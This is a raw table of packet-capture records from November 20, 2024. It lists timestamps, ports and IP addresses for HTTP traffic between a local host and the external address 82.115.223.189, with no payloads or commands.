Nov 20, 2024 07:48:02.653353930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653371096 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653384924 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653410912 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653424978 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653438091 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653450966 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653467894 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653484106 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653491020 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653497934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653515100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653526068 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653543949 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653562069 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653585911 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653599977 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653614998 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653629065 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653644085 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653650045 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653650045 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653666973 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653687954 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653691053 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653702974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653716087 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653719902 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653734922 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653750896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653755903 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653769016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653786898 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.653815031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.653829098 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654025078 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654042006 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654057026 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654071093 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654087067 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654088020 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654102087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654108047 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654118061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654133081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654148102 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654155970 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654160023 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654172897 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654186010 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654186010 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654190063 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654206991 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654220104 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654236078 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654247999 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654247999 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654277086 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654474974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654499054 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654515028 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654530048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654545069 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654550076 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654560089 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654573917 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654575109 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654589891 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654604912 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654614925 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654618979 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654633999 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654638052 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654650927 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654659033 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654669046 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654684067 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654699087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654710054 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654715061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654727936 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654730082 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654745102 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654761076 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654800892 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654800892 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654830933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654886007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654895067 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.654901028 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654916048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.654949903 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655123949 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655138969 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655153990 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655168056 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655173063 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655183077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655195951 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655198097 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655215025 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655229092 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655232906 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655253887 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655270100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655286074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655297995 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655301094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655328989 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655328989 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655344009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655359030 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655360937 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655375004 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655380964 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655390024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655402899 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655405998 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655421972 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655436993 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655440092 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655452013 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655458927 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655467033 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655481100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655494928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655497074 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655509949 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655525923 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655533075 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655540943 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655551910 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655558109 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655584097 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655812025 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655827999 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655843019 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655857086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655863047 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655872107 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655885935 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655901909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655925989 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655925989 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655931950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655946970 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655949116 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.655961990 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655977964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655992985 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.655996084 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.656008005 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.656017065 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.656033039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.656047106 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.656066895 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.656097889 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.656158924 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.656174898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.656228065 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.656698942 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.696981907 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.697005987 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.697033882 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.697051048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.697067022 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.697071075 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.697082996 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.697098970 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.697113037 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.697115898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.697133064 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.697160959 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.745227098 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745337009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745372057 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745407104 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745440006 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745474100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745508909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745547056 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745584011 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.745693922 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745707035 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.745728016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745762110 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745795012 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745827913 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745846987 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.745862961 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745894909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745909929 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.745925903 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745927095 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.745959044 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.745978117 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.745995045 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746028900 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746037960 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746190071 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746243000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746249914 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746277094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746311903 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746347904 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746349096 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746402025 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746402979 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746438980 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746490955 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746511936 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746525049 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746557951 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746593952 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746606112 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746627092 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746639967 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746663094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746697903 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746715069 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746731043 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746762991 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746777058 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746794939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746833086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746850014 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746865988 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746917009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746918917 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.746951103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.746984005 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747000933 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747018099 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747050047 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747081041 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747082949 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747117043 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747132063 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747150898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747184038 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747200012 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747219086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747252941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747266054 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747287035 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747343063 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747345924 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747379065 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747427940 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747436047 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747471094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747502089 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747523069 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747538090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747570992 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747602940 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747625113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747677088 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747697115 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747710943 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747750998 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747766018 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747786045 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747824907 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747855902 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747859001 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747893095 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747912884 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747926950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747961044 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.747980118 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.747993946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748028994 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748044014 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748063087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748095989 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748111963 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748128891 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748162031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748184919 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748197079 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748230934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748238087 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748264074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748292923 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748318911 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748327017 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748363018 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748378038 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748397112 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748431921 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748451948 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748465061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748498917 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748512030 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748533964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748568058 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748584986 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748600960 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748634100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748650074 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748668909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748703003 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748714924 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748737097 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748770952 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748796940 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748805046 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748840094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748857021 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748872995 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748909950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748922110 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.748943090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748975992 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.748991966 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.749011040 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.749043941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.749066114 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.749066114 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.749077082 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.749111891 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.749128103 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.749145031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.749177933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.749205112 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.749212027 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.749285936 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.750551939 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.787765980 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.787858963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.787895918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.787930965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.787960052 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.787966013 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.787987947 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.788001060 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.788033962 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.788048029 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:02.788070917 CET	80	49704	82.115.223.189	192.168.2.5
